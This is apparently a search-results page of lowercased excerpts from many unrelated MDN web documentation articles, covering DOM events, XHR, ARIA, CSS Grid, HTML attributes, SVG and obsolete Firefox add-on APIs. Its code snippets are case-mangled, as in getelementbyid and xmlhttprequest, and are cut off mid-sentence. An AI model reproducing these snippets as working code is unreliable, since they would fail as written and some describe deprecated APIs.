... 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53"...
... text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href=...
...And 10 more matches
Using Pointer Events - Web APIs
example the text below uses the term "finger" when describing the contact with the surface, but it could, of course, also be a stylus, mouse, or other method of pointing at a location.
... <canvas id="canvas" width="600" height="600" style="border:solid black 1px; touch-action:none"> your browser does not support canvas element.
... </canvas> <br> <button onclick="startup()">initialize</button> <br> log: <pre id="log" style="border: 1px solid #ccc;"></pre> setting up the event handlers when the page loads, the startup() function shown below should be called by our <body> element's onload attribute (but in the example we use a button to trigger it, due to limitations of the mdn live example system).
...And 10 more matches
Multi-touch interaction - Web APIs
function set_handlers(name) { // install event handlers for the given element var el=document.getelementbyid(name); el.ontouchstart = start_handler; el.ontouchmove = move_handler; // use same handler for touchcancel and touchend el.ontouchcancel = end_handler; el.ontouchend = end_handler; } function init() { set_handlers("target1"); set_handlers("target2"); set_handlers("target3"); set_handlers("target4"); } move/pinch/zoom handler this function provides very basic support for 2-touch horizontal move/pinch/zoom handling.
... var diff1 = math.abs(tpcache[point1].clientx - ev.targettouches[0].clientx); var diff2 = math.abs(tpcache[point2].clientx - ev.targettouches[1].clientx); // this threshold is device dependent as well as application specific var pinch_threshhold = ev.target.clientwidth / 10; if (diff1 >= pinch_threshhold && diff2 >= pinch_threshhold) ev.target.style.background = "green"; } else { // empty tpcache tpcache = new array(); } } } touch start handler the touchstart event handler caches touch points to support 2-touch gestures.
... ev.preventdefault(); // cache the touch points for later processing of 2-touch pinch/zoom if (ev.targettouches.length == 2) { for (var i=0; i < ev.targettouches.length; i++) { tpcache.push(ev.targettouches[i]); } } if (logevents) log("touchstart", ev, true); update_background(ev); } touch move handler the touchmove handler calls preventdefault() for the same reason mentioned above, and invokes the pinch/zoom handler.
...And 10 more matches
User Timing API - Web APIs
there are two types of user defined timing event types: the "mark" event type and the "measure" event type.
...the method takes one argument, the name of the mark (for example performance.mark("mark-1")).
... the mark's performance entry will have the following property values: entrytype - set to "mark".
...And 10 more matches
window.postMessage() - Web APIs
normally, scripts on different pages are allowed to access each other if and only if the pages they originate from share the same protocol, port number, and host (also known as the "same-origin policy").
...[1] targetorigin specifies what the origin of targetwindow must be for the event to be dispatched, either as the literal string "*" (indicating no preference) or as a uri.
... the dispatched event otherwindow can listen for dispatched messages by executing the following javascript: window.addeventlistener("message", receivemessage, false); function receivemessage(event) { if (event.origin !== "http://example.org:8080") return; // ...
...And 10 more matches
Synchronous and asynchronous requests - Web APIs
synchronous requests block the execution of code which causes "freezing" on the screen and an unresponsive user experience.
... var xhr = new xmlhttprequest(); xhr.open("get", "/bar/foo.txt", true); xhr.onload = function (e) { if (xhr.readystate === 4) { if (xhr.status === 200) { console.log(xhr.responsetext); } else { console.error(xhr.statustext); } } }; xhr.onerror = function (e) { console.error(xhr.statustext); }; xhr.send(null); line 2 specifies true for its third parameter to indicate that the request should be handled asynchronously.
...*/) { var xhr = new xmlhttprequest(); xhr.callback = callback; xhr.arguments = array.prototype.slice.call(arguments, 2); xhr.onload = xhrsuccess; xhr.onerror = xhrerror; xhr.open("get", url, true); xhr.send(null); } usage: function showmessage(message) { console.log(message + this.responsetext); } loadfile("message.txt", showmessage, "new message!\n\n"); the signature of the utility function loadfile declares (i) a target url to read (via an http get request), (ii) a function to execute on successful completion of the xhr operation, and (iii) an arbitrary list...
...And 10 more matches
Web applications and ARIA FAQ - Accessibility
here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /> this progress bar is built using a <div>, which is not very descriptive.
...in this example, the role="progressbar" attribute informs the browser that this element is actually a javascript-powered progress bar widget.
...var progressbar = document.getelementbyid("percent-loaded"); // set its aria roles and states, so that assistive technologies know what kind of widget it is.
...And 10 more matches
Text labels and names - Accessibility
examples the following example show a simple image map (taken from h24: providing text alternatives for the area elements of image maps): <img src="welcome.gif" usemap="#map1" alt="areas in the library.
... select an area for more information on that area." /> <map id="map1" name="map1"> <area shape="rect" coords="0,0,30,30" href="reference.html" alt="reference" /> <area shape="rect" coords="34,34,100,100" href="media.html" alt="audio visual lab" /> </map> see the <area> element reference page for a live interactive example.
... a dialog box is generally denoted by an aria role="dialog" or role="alertdialog"; you can use the aria-label or aria-labelledby attributes to provide a label.
...And 10 more matches
CSS Animations tips and tricks - CSS: Cascading Style Sheets
there's no magic resetanimation() method on elements, and you can't even just set the element's animation-play-state to "running" again.
... <div class="box"> </div> <div class="runbutton">click me to run the animation</div> css content now we'll define the animation itself using css.
... some css that's not important (the style of the "run" button itself) isn't shown here, for brevity.
...And 10 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; align-items: start; } .item1 { grid-area: a; } .item2 { grid-area: b; } .item3 { grid-area: c; } .item4 { grid-area: d; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <div class="item3">item 3</div> <div class="item4">item 4</div> </div> keep in mind...
... border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; grid-auto-rows: 100px; grid-template-areas: "a a a a b b b b" "a a a a b b b b" "c c c c d d d d" "c c c c d d d d"; } .item1 { grid-area: a; } .item2 { grid-area: b; align-self: start; } .item3 { grid-area: c; align-self: end; } .item4 { grid-area: d; align-self: center; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <div class="item3">item 3</div> <div class="item...
...4">item 4</div> </div> items with an intrinsic aspect ratio the specification details that the default behavior in align-self is to stretch, except for items which have an intrinsic aspect ratio, in this case they behave as start.
...And 10 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { max-width: 1024px; margin: 0 auto; font: 1.2em helvetica, arial, sans-serif; } .wrapper > * { border: 2px solid #f08c00; background-color: #ffec99; border-radius: 5px; padding: 10px; } nav ul { list-style: none; margin: 0; padding: 0; } <div class="wrapper"> <header class="main-head">the header</header> <nav class="main-nav"> <ul> <li><a href="">nav 1</a></li> <li><a href="">nav 2</a></li> <li><a href="">nav 3</a></li> </ul> </nav> <article class="content"> <h1>main article area</h1> <p>in this layout, we display th...
...we go to a two column layout, and then to a three column layout by redefining the grid, and the placement of items on the grid.</p> </article> <aside class="side">sidebar</aside> <div class="ad">advertising</div> <footer class="main-footer">the footer</footer> </div> as we are using grid-template-areas to create the layout.
... .wrapper { display: grid; grid-gap: 20px; grid-template-areas: "header" "nav" "content" "sidebar" "ad" "footer"; } after setting up a mobile layout we will get this single column at all screen sizes, we can now add a media query and redefine our layout for the circumstance of having enough screen real estate to show two columns.
...And 10 more matches
position - CSS: Cascading Style Sheets
WebCSSposition
note that a sticky element "sticks" to its nearest ancestor that has a "scrolling mechanism" (created when overflow is hidden, scroll, auto, or overlay), even if that ancestor isn't the nearest actually scrolling ancestor.
... this effectively inhibits any "sticky" behavior (see the github issue on w3c csswg).
...it's treated as relatively positioned until its containing block crosses a specified threshold (such as setting top to value other than auto) within its flow root (or the container it scrolls within), at which point it is treated as "stuck" until meeting the opposite edge of its containing block.
...And 10 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
WebHTMLAttributesrel
not allowed annotation annotation opener creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not anauxiliary browsing context (i.e., has "_blank" as target attribute value).
... values if there are multiple <link rel="icon">s, the browser uses their media attribute, type, and sizes attributes to select the most appropriate icon.
... <!-- a persistent style sheet --> <link rel="stylesheet" href="default.css"> <!-- alternate style sheets --> <link rel="alternate stylesheet" href="highcontrast.css" title="high contrast"> with an hreflang attribute that differs from the document language, it indicates a translation.
...And 10 more matches
HTML attribute reference - HTML: Hypertext Markup Language
formenctype <button>, <input> if the button/input is a submit button (type="submit"), this attribute sets the encoding type to use during form submission.
... formmethod <button>, <input> if the button/input is a submit button (type="submit"), this attribute sets the submission method to use during form submission (get, post, etc.).
... formnovalidate <button>, <input> if the button/input is a submit button (type="submit"), this boolean attribute specifies that the form is not to be validated when it is submitted.
...And 10 more matches
Date and time formats used in HTML - HTML: Hypertext Markup Language
for the purposes of html dates, years are always at least four digits long; years prior to the year 1000 are padded with leading zeroes ("0"), so the year 72 is written as 0072.
...a valid week string consists of a valid year number, followed by a hyphen character ("-", or u+002d), then the capital letter "w" (u+0057), followed by a two-digit week of the year value.
...that is, rather than representing simply "january," an html month string represents a month and year paired, like "january 1972." a valid month string consists of a valid year number (a string of at least four digits), followed by a hyphen character ("-", or u+002d), followed by a two-digit numeric month number, where 01 represents january and 12 represents december.
...And 10 more matches
Working with objects - JavaScript
en you pass the object and the object's name as arguments to the function: function showprops(obj, objname) { var result = ``; for (var i in obj) { // obj.hasownproperty() is used to filter out properties from the object's prototype chain if (obj.hasownproperty(i)) { result += `${objname}.${i} = ${obj[i]}\n`; } } return result; } so, the function call showprops(mycar, "mycar") would return the following: mycar.make = ford mycar.model = mustang mycar.year = 1969 enumerate the properties of an object starting with ecmascript 5, there are three native ways to list/traverse object properties: for...in loops this method traverses all enumerable properties of an object and its prototype chain.
... object.keys(o) this method returns an array with all the own (not in the prototype chain) enumerable properties' names ("keys") of an object o.
... can be achieved with the following function: function listallproperties(o) { var objecttoinspect; var result = []; for(objecttoinspect = o; objecttoinspect !== null; objecttoinspect = object.getprototypeof(objecttoinspect)) { result = result.concat( object.getownpropertynames(objecttoinspect) ); } return result; } this can be useful to reveal "hidden" properties (properties in the prototype chain which are not accessible through the object, because another property has the same name earlier in the prototype chain).
...And 10 more matches
Inheritance and the prototype chain - JavaScript
inheritance with the prototype chain inheriting properties javascript objects are dynamic "bags" of properties (referred to as own properties).
... inheriting "methods" javascript does not have "methods" in the form that class-based languages define them.
...for the best learning experience, it is highly recommended that you open a console, navigate to the "console" tab, copy-and-paste in the below javascript code, and run it by pressing the enter/return key.
...And 10 more matches
Date.prototype.toString() - JavaScript
"sat" space month name: 3 letter english month name, e.g.
... "sep" space date: 2 digit day in month, e.g.
... "01" space year: 4 digit year, e.g.
...And 10 more matches
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
example: masking for example, you can make a gradient mask for html content using svg and css code similar to the following, inside your html document: <svg height="0"> <mask id="mask-1"> <lineargradient id="gradient-1" y2="1"> <stop stop-color="white" offset="0"/> <stop stop-opacity="0" offset="1"/> </lineargradient> <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/> <rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/> </mask> </svg> .target { mask: url(#mask-1); } p { width: 300px; bor...
... applying the svg effect to (x)html is accomplished by assigning the target class defined above to an element, like this: <p class="target" style="background:lime;"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
...</p> <p> lorem ipsum dolor sit amet, consectetur adipisicing <b class="target">elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</b> ut enim ad minim veniam.
...And 10 more matches
d - SVG: Scalable Vector Graphics
WebSVGAttributed
three elements have this attribute: <path>, <glyph>, and <missing-glyph> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path commands that define the path to be drawn.
... formula: pn = {xo + dx, yo + dy} examples html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,10 h 10 m 0,10 h 10 m 0,10 h 10 m 40,20 h 10 m 0,10 h 10 m 0,10 h 10 m 0,10 h 10 m 50,50 h 10 m-20,10 h 10 m-20,10 h 10 m-20,10 h 10" /> </svg> lineto path commands lineto instructions draw a straight line from the current poin...
... formula: po′ = pn = {xo, yo + dy} examples html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- lineto commands with absolute coordinates --> <path fill="none" stroke="red" d="m 10,10 l 90,90 v 10 h 50" /> <!-- lineto commands with relative coordinates --> <path fill="none" stroke="red" d="m 110,10 l 80,80 v -80 h -40" /> </svg> cubic bézier cur...
...And 10 more matches
Communicating With Other Scripts - Archive of obsolete content
this section of the guide explains how content scripts can communicate with: your main.js file, or any other modules in your add-on other content scripts loaded by your add-on page scripts (that is, scripts embedded in the web page or included using <script> tags) main.js your content scripts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api.
... messaging from content script to page script suppose we have a page called "listen.html" hosted at "my-domain.org", and we want to send messages from the add-on to a script embedded in that page.
... in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // content-script (talk.js) window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain.
...And 9 more matches
Module structure of the SDK - Archive of obsolete content
local modules: each of the javascript files under your add-on's "lib" directory.
... to use sdk modules, you can pass require() a complete path, starting with "sdk", to the module you want to use.
... for high-level modules this is just sdk/<module_name>, and for low-level modules it is sdk/<path_to_module>/<module_name>: // load the high-level "tabs" module var tabs = require("sdk/tabs"); // load the low-level "uuid" module var uuid = require('sdk/util/uuid'); the path to specify for a low-level module is given along with the module name itself in the title of the module's documentation page (for example, system/environment).
...And 9 more matches
XUL Migration Guide - Archive of obsolete content
you can keep the "chrome.manifest" file in your add-on's root directory and create a directory there called "chrome".
... in that directory you can keep your "content", "locale", and "skin" subdirectories: this allows you to refer to objects in these directories from "chrome.manifest" using a relative path, like "chrome/content".
...because we expect to keep these apis compatible as new versions of firefox are released, we call them the "supported" apis.
...And 9 more matches
lang/functional - Archive of obsolete content
let { method } = require("sdk/lang/functional"); let mynumber = { times: method(times), add: method(add), number: 0 }; function times (target, x) { return target.number *= x; } function add (target, x) { return target.number += x; } console.log(mynumber.number); // 0 mynumber.add(10); // 10 mynumber.times(2); // 20 mynumber.add(3); // 23 parameters lambda : function the function to be wrapped and returned.
... let { defer } = require("sdk/lang/functional"); let fn = defer(function myevent (event, value) { console.log(event + " : " + value); }); fn("click", "#home"); console.log("done"); // this will print 'done' before 'click : #home' since // we deferred the execution of the wrapped `myevent` // function, making it non-blocking and executing on the // next event loop parameters fn : function the function to be deferred.
... let { invoke } = require("sdk/lang/functional"); invoke(sum, [1,2,3,4,5], null); // 15 function sum () { return array.slice(arguments).reduce(function (a, b) { return a + b; }); } parameters callee : function function to invoke.
...And 9 more matches
Creating Event Targets - Archive of obsolete content
create a new directory called "bookmarks", navigate to it, and run jpm init, accepting all the defaults.
... then open "index.js" and add the following code: var {cc, ci} = require("chrome"); var { xpcomutils } = require("resource://gre/modules/xpcomutils.jsm"); var bookmarkservice = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); var bookmarkobserver = { onitemadded: function(aitemid, afolder, aindex) { console.log("added ", bookmarkservice.getbookmarkuri(aitemid).spec); }, onitemvisited: function(aitemid, avisitid, time) { console.log("visited ", bookmarkservice.getbookmarkuri(aitemid).spec); }, queryinterface: xpcomutils.generateqi([ci.nsinavbookmarkobserver]) }; exports.main = function() { bookmarkservice.addobserver(bookmarkobserver, false); }; exports.onunload = function() { bookmarkservice.remove...
... create a new file in "lib" called "bookmarks.js", and add the following code: var { emit, on, once, off } = require("sdk/event/core"); var {cc, ci} = require("chrome"); var { xpcomutils }= require("resource://gre/modules/xpcomutils.jsm"); var bookmarkservice = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); var bookmarkobserver = { onitemadded: function(aitemid, afolder, aindex) { emit(exports, "added", bookmarkservice.get...
...And 9 more matches
Adding windows and dialogs - Archive of obsolete content
window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window.
... let somevalue = 2; let returnvalue = { accepted : false , result : "" }; window.opendialog( "chrome://xulschoolhello/content/somedialog.xul", "xulschoolhello-some-dialog", "chrome,centerscreen", somevalue, returnvalue); // you can send as many extra parameters as you need.
... // if (returnvalue.accepted) { do stuff } the optional parameters are available in the dialog code through the window.arguments property: let somevalue = window.arguments[0]; let returnvalue = window.arguments[1]; // returnvalue.accepted = true; // returnvalue.result = "something"; the parameter named returnvalue is an object that the dialog will modify to reflect what the user did in it.
...And 9 more matches
Source code directories overview - Archive of obsolete content
document.goofy = 1), this code will create the "goofy" node, put it on the "document" node and manipulate it according to any later javascript commands.
...the editor is designed like a "browser window with editing features" with extra classes for editing text and managing undo/redo.
...the layout engine decides how to divide up the "window real estate" among all the pieces of content.
...And 9 more matches
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
main roles nsdocshell this class corresponds, basically, to a "window" object in javascript -- each frame, iframe, content area, tab, etc has its own docshell.
...nsdocumentopeninfo implements nsistreamlistener and proxies the nsistreamlistener calls over to the "real" stream listener once one is chosen.
...nsiexternalhelperappservice if we can't do anything else with a load, we give it to the nsiexternalhelperappservice and let it look for a helper app, put up the "what do i do now?" dialog, and so forth.
...And 9 more matches
Repackaging Firefox - Archive of obsolete content
a "distro" extension that makes the changes you desire.
...we call this extension a "distro extension" (sometimes abbreviated as "dex"), because it is used to create a new "distribution" of firefox, with different branding, etc.
...at the very least, don't skip the "important extension preferences" section below.
...And 9 more matches
Modularization techniques - Archive of obsolete content
#include "nsisupports.h" // {57ecad90-ae1a-11d1-b66c-00805f8a2676} #define ns_isample_iid \ {0x57ecad90, 0xae1a, 0x11d1, \ {0xb6, 0x6c, 0x00, 0x80, 0x5f, 0x8a, 0x26, 0x76}} /* * nsisample interface declaration */ class nsisample: public nsisupports { public: ns_imethod hello() = 0; }; file nssample.h nssample.h defines the class id (cid) for our sample class.
... #include "nsifactory.h" // {d3944dd0-ae1a-11d1-b66c-00805f8a2676} #define ns_sample_cid \ {0xd3944dd0, 0xae1a, 0x11d1, \ {0xb6, 0x6c, 0x00, 0x80, 0x5f, 0x8a, 0x26, 0x76}} extern nsresult getsamplefactory(nsifactory **aresult); file nssample.cpp nssample.cpp contains both the declaration and implementation of our sample class, and the declaration and implementation of our class factory.
... #include "nsisample.h" #include "nssample.h" static ns_define_iid(kisupportsiid, ns_isupports_iid); static ns_define_iid(kifactoryiid, ns_ifactory_iid); static ns_define_iid(kisampleiid, ns_isample_iid); static ns_define_cid(kisamplecid, ns_isample_cid); /* * nssampleclass declaration */ class nssample: public nsisample { private: nsrefcnt mrefcnt; public: // constructor and destuctor nssample(); ~nssample(); // nsisupports methods ns_imethod queryinterface(const nsiid &aiid, void **aresult); ns_imethod_(nsrefcnt) addref(void); ns_imethod_(nsrefcnt) release(void); // nsisample method ns_imethod hello(); }; /* * nssamplefactory declaration */ class nssamplefactory: public nsifactory { private: nsrefcnt mrefcnt; public: nssamplefact...
...And 9 more matches
Supporting private browsing mode - Archive of obsolete content
var pbs = components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.nsiprivatebrowsingservice); var inprivatebrowsingmode = pbs.privatebrowsingenabled; if (!inprivatebrowsingmode) { /* save private information */ } in the above example, we only save the user's private information if not in private browsing mode.
...its value is "permanent" if private browsing is permanently enabled for the session, "temporary" if private browsing is temporarily enabled, or not defined at all if private browsing mode isn't active.
... let docroot = document.documentelement; if (docroot.hasattribute("privatebrowsingmode")) { // private browsing mode is enabled } if (docroot.getattribute("privatebrowsingmode") == "temporary") { // private browsing mode is temporary } if (docroot.getattribute("privatebrowsingmode") == "permanent") { // private browsing mode is permanent for this session } turning private browsing on and off extensions can turn private browsing mode on and off by manipulating the value of the privatebrowsingenabled attribute.
...And 9 more matches
Namespaces - Archive of obsolete content
to quote wikipedia: "in general, a namespace is an abstract container providing context for the items ...
... it holds and allows disambiguation of items having the same name." if you are familiar with c++ namespaces, java packages, perl packages, or python module importing, you are already familiar with the namespace concept.
...any element type or attribute name in an xml namespace can be uniquely identified by its xml namespace and its "local name".
...And 9 more matches
XBL Example - Archive of obsolete content
example 1 : source <binding id="slideshow"> <content> <xul:vbox flex="1"> <xul:deck xbl:inherits="selectedindex" selectedindex="0" flex="1"> <children/> </xul:deck> <xul:hbox> <xul:button xbl:inherits="label=previoustext"/> <xul:label flex="1"/> <xul:button xbl:inherits="label=nexttext"/> </xul:hbox> </xul:vbox> </content> </binding> this binding creates the s...
... <box class="slideshow" previoustext="previous" nexttext="next" flex="1"> <button label="button 1"/> <checkbox label="checkbox 2"/> <textbox/> </box> the style sheet used here is: .slideshow { -moz-binding: url("slideshow.xml#slideshow"); } the first button, button 1 has been used as the first page of the deck.
... <property name="page" onget="return parseint(document.getanonymousnodes(this)[0].childnodes[0].getattribute('selectedindex'));" onset="return this.setpage(val);"/> the page property gets its value by looking at the first element of the anonymous array.
...And 9 more matches
tree - Archive of obsolete content
ArchiveMozillaXULtree
le, enablecolumndrag, flags, hidecolumnpicker, onselect, rows, seltype, statedatasource, tabindex, treelines properties accessibletype, builderview, columns, contentview, currentindex, disablekeynavigation, disabled, editingcolumn, editingrow, enablecolumndrag, firstordinalcolumn, inputfield, seltype, selstyle, tabindex, treeboxobject, view examples a tree with several columns <tree flex="1" rows="2"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> ...
... <treecell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> a tree with several columns and nested items <tree id="mytree" flex="1" hidecolumnpicker="false" seltype="single" class="tree" rows="5"> <treecols id="mytree2-treecols"> <treecol id="mytree2-treecol0" primary="true" flex="2" label="column a" persist="width" ordinal="1"/> <splitter class="tree-splitter" ordinal="2"/> <treecol id="mytree2-treecol1" flex="1" label="column b" persist="width" ordinal="3"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="1"/> <treecell label="a"/> </treerow> </treeitem> <!-- make sure to set container="true" --> <treeitem container="true" open="true"> ...
... <treerow> <treecell label="2"/> <treecell label="b"/> </treerow> <treechildren> <treeitem> <treerow> <treecell label="2a"/> <treecell label="ba"/> </treerow> </treeitem> </treechildren> </treeitem> </treechildren> </tree> attributes disabled type: boolean indicates whether the element is disabled or not.
...And 9 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
if (document.all) { // internet explorer 4+ document.write('<link rel="stylesheet" type="text/css" src="style-ie.css">'); } else if (document.layers) { // navigator 4 document.write('<link rel="stylesheet" type="text/css" src="style-nn.css">'); } note how the above example only provided stylesheets for internet explorer and navigator 4 and even then only if the visitor has javascript support turned on in their browser.
...this is a technique where these browsers can be switched from "quirks" mode (which emulates buggy implementations in earlier generation browsers) to standards mode (which more strictly adhers to the standards).
... using noframes to support non-frames capable browsers <html> <head> <title>frames</title> </head> <frameset rows="30,*"> <frame src="foo.html"> <frame src="bar.html"> <noframes> <body> <p> this page requires frames.
...And 9 more matches
XForms Custom Controls - Archive of obsolete content
implementation status the framework we use in the mozilla xforms processor is very much a "work in progress".
...work has just started in the w3c xforms working group to investigate the custom control issue, so eventually (hopefully?) there will be an "official" and common way to customize your form's user interface across all xforms processors.
...xf|select1[appearance="compact"] { -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); } the mediatype attribute can be used by the form author to align the type of presentation with the type of data that the bound instance node contains.
...And 9 more matches
RDF in Fifty Words or Less - Archive of obsolete content
the resource description framework, or "rdf", is really two things.
...to a mozilla developer, it means that the rdf data model (the "graph") can be used as a mechanism for integrating and organizing internet resources.
...and fundamentally, there's no reason that you shouldn't be able to treat these as "bookmarks" as well, grouping them together into folders as you please, or maybe even creating "smart" folders that, when you open them, dynamically generate their contents by running common search that you define.
...And 9 more matches
Common causes of memory leaks in extensions - Extensions
consider the following example code that could be part of your browser.xul overlay: gbrowser.addeventlistener("domcontentloaded", function(evt) { var contentdoc = evt.originaltarget; var i = 0; // refresh the title once each second setinterval(function() { contentdoc.title = ++i; }, 1000); }, false); one would normally expect that the interval (or timer) would be destroyed as soon as the document unloads, in the same way that event listeners are automatically destroyed.
...for example, the following code snippets — part of a bootstrap.js — will leak: function leakref() {} function modifydocument(document) { var a = document.createelement("a"); document.body.appendchild(a); // the new dom node holding a reference to leakref will prevent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment.
... a.someproperty = leakref; } function modifydocument2(document) { // the "body" dom node holding a reference to leakref will prevent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment.
...And 9 more matches
Attribute selectors - Learn web development
[attr=value] a[href="https://example.com"] matches elements with an attr attribute whose value is exactly value — the string inside the quotes.
... [attr~=value] p[class~="special"] matches elements with an attr attribute whose value is exactly value, or contains value in its (space separated) list of values.
... [attr|=value] div[lang|="zh"] matches elements with an attr attribute whose value is exactly value or begins with value immediately followed by a hyphen.
...And 9 more matches
HTML forms in legacy browsers - Learn web development
okay, let's admit it, when we said "legacy browser" we all have in mind safari or old versions of internet explorer, but they are far from the only ones.
... make things simple because html forms involves complex interaction, there is one rule of thumb: keep it simple, also known as the "kiss principal".
... there are so many cases where we want forms that are "nicer" or "with advanced functionality", but building efficient html forms is not a question of design or technology.
...And 9 more matches
Sending form data - Learn web development
in this example, the data is sent to an absolute url — https://example.com: <form action="https://example.com"> here, we use a relative url — the data is sent to a different url on the same origin: <form action="/somewhere_else"> when specified with no attributes, as below, the <form> data is sent to the same page that the form is present on: <form> note: it's possible to specify a url that uses the https (secure http) protocol.
... the get method the get method is the method used by the browser to ask the server to send back a given resource: "hey server, i want to get this resource." in this case, the browser sends an empty body.
... consider the following form: <form action="http://www.foo.com" method="get"> <div> <label for="say">what greeting do you want to say?</label> <input name="say" id="say" value="hi"> </div> <div> <label for="to">who do you want to say it to?</label> <input name="to" id="to" value="mom"> </div> <div> <button>send my greetings</button> </div> </form> since the get method has been used, you'll see the url www.foo.com/?say=hi&to=mom appear in the browser address bar when you submit the form.
...And 9 more matches
HTML basics - Learn web development
note: simple attribute values that don't contain ascii whitespace (or any of the characters " ' ` = < > ) can remain unquoted, but it is recommended that you quote all attribute values, as it makes the code more consistent and understandable.
...if we wanted to state that our cat is very grumpy, we could wrap the word "very" in a <strong> element, which means that the word is to be strongly emphasized: <p>my cat is <strong>very</strong> grumpy.</p> you do however need to make sure that your elements are properly nested.
...take the <img> element that we already have in our html page: <img src="images/firefox-icon.png" alt="my test image"> this contains two attributes, but there is no closing </img> tag and no inner content.
...And 9 more matches
HTML table advanced features and accessibility - Learn web development
the "sum" row that contains a summation of the spent amounts seems to be in the wrong place, and there are some details missing from the code.
... put the obvious headers row inside a <thead> element, the "sum" row inside a <tfoot> element, and the rest of the content inside a <tbody> element.
... save and refresh, and you'll see that adding the <tfoot> element has caused the "sum" row to go down to the bottom of the table.
...And 9 more matches
Graceful asynchronous programming with Promises - Learn web development
the code that the video chat application would use might look something like this: function handlecallbutton(evt) { setstatusmessage("calling..."); navigator.mediadevices.getusermedia({video: true, audio: true}) .then(chatstream => { selfviewelem.srcobject = chatstream; chatstream.gettracks().foreach(track => mypeerconnection.addtrack(track, chatstream)); setstatusmessage("connected"); }).catch(err => { setstatusmessage("failed to connect"); }); } this function starts by using a function c...
...alled setstatusmessage() to update a status display with the message "calling...", indicating that a call is being attempted.
